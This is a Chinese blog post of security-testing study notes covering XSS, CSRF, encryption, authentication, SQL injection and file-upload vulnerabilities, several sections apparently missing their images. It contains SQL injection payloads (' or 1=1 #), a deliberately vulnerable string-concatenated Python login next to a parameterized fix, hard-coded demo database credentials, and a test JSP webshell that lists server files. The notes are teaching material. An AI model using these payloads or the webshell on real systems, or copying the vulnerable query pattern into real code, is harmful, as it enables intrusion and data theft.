常见安全测试

客户端脚本安全测试

跨站脚本攻击

XSS攻击介绍:

  • XSS: 跨站脚本(cross site script)为了避免与前端css混淆,改名为xss
  • 跨站脚本攻击: 是指攻击者往Web页面里面插入恶意Script代码,当用户浏览网页时,嵌入的代码会被执行,从而达到恶意攻击用户的目的

XSS攻击的危害:

  • 盗取各类用户账号
  • 盗取、注入修改、删除客户敏感数据
  • 网站木马(特洛伊)
  • 肉鸡(控制受害机攻击别的机器)

XSS攻击原理:

XSS 攻击的类型:

XSS 攻击常用的HTML标签:

XSS 攻击步骤:

XSS攻击案例 - 窃取用户cookie





解决:
set-cookie 时,设置httponly, 可组织客户端用document.cookie 获得cookie信息
https://blog.csdn.net/drawlessonsfrom/article/details/122078723

XSS攻击案例 - 注入外部JS文件



XSS 攻击防御

检测XSS 漏洞的方式

跨站点请求伪造(CSRF)

  • CSRF(Cross-site request forgery) 是指跨站请求伪造

  • 理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求或进行某些非常操作

CSRF攻击原理:

案例:

CSRF 攻击防御

Cookie Samesite简析:
https://zhuanlan.zhihu.com/p/266282015

XSS 和 CSRF 的区别

网络安全性测试

如何保证数据在网络传输的安全性?

程序数据加密:

接口加解密案例:

数据签名:

加密 = 原始数据 + 加密算法 + 数据签名(固定字符串,当作钥匙)
解密 = 解密算法 + 数据签名 = 原始数据

数据签名案例:

数据签名的好处:

  • 防伪造
  • 防篡改
  • 保密性
  • 身份认证
  • 防抵赖

Dos 攻击

防御措施:

  • 时间戳

  • 流量限制

比如:登录时滑动滑块、验证码

用户认证安全性测试

认证与授权:

用户密码


常见的认证方式

sesssion 认证



  • token 认证

测试点:

  • 测试session/tooken 有效期
  • 再次登录成功后,测试之前的session/token失效
  • 用户退出登录后,测试session/token 失效

多因素认证

  • 对于很多重要的系统来说,如果 只有密码作为唯一的认证手段,从安全上看略显不足
  • 因此为了增强安全性,大多数网上银行和网上支付平台都会采用双因素或多因素认证

常见认证因素:

  • 支付密码
  • 手机动态口令
  • 数字证书
  • 支付盾

暴力破解:

暴力破解防范:

权限控制

垂直权限管理



水平权限管理

案例:

应用程序安全性测试

SQL注入

SQL注入原理:

案例:

数据库直接查询:

select * from litemall_user where username = 'user123' and password = ''; 

# 写法一: ' or 1=1 #
select * from litemall_user where username = '' or 1=1 #' and password = ''; 

# 写法二: ' or 1=1 -- 
select * from litemall_user where username = '' or 1=1 -- ' and password = ''; 

结果:

后端代码处理sql 注入的案例:

import pymysql


# SQL 拼接有SQL注入的风险
def login1(username, password):
    # 创建连接
    conn = pymysql.connect(host='192.168.184.143', port=3306, user='root', password='123456', database='litemall')
    # 创建游标对象
    cur = conn.cursor()
    # 执行查询
    sql = "select * from litemall_user where username = " + username + " and password = " + password + ";"
    print(sql)
    cur.execute(sql)
    # 获得结果集中的所有数据
    resp = cur.fetchone()
    print(resp)


"""
pymysql 防止sql 注入:
1. sql 中的参数用 %s 占位符
2. cursor.execute(sql, values)

这样参数化的方式,让 mysql 通过预处理的方式避免了 sql 注入的存在。
需要注意的是,不要因为参数是其他类型而换掉 %s,pymysql 的占位符并不是 python 的通用占位符。
同时,也不要因为参数是 string 就在 %s 两边加引号,mysql 会自动去处理。
"""
def login2(username, password):
    # 创建连接
    conn = pymysql.connect(host='192.168.184.143', port=3306, user='root', password='123456', database='litemall')
    # 创建游标对象
    cur = conn.cursor()
    # 执行查询
    # sql = f"select * from litemall_user where username = {username} and password = {password};"
    sql = "select * from litemall_user where username = %s and password = %s;"
    values = [username, password]
    cur.execute(sql, values)
    # 取一个数据
    resp = cur.fetchone()
    print(resp)


# ' or 1=1 #
if __name__ == '__main__':
    # login1("'' or 1=1 #'", '123456')  sql 注入,可以查到数据库数据
    login2("'' or 1=1 #'", '123456')  # 有效放置了sql注入


防御策略

  • 前端对输入的内容进行校验
  • 后端对于SQL语句的执行,使用参数化的方式来完成,也不使用拼接

测试点:

  1. UI界面: 文本输入框
  2. 接口SQL注入:请求参数直接作用到SQL语句的
    将 ' or 1=1 # 编码后通过URL传参后台

URL编码解码地址:https://c.runoob.com/front-end/695/

文件上传漏洞





防御策略:

  • 上传的文件不可执行
  • 对上传文件类型进行校验
  • 改写文件名和路径
  • 上传的文件单独存放在其他服务器

测试 上传漏洞的可执行代码 webshell.jsp:

<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<pre>
<%
File root = new File("/");
out.println("获取根目录下所有文件:");
for (File f : root.listFiles()) {
out.println(f.getName());
}
%>
</pre>

数据库安全性测试




posted @ 2022-05-03 15:29  chuangzhou  阅读(273)  评论(0编辑  收藏  举报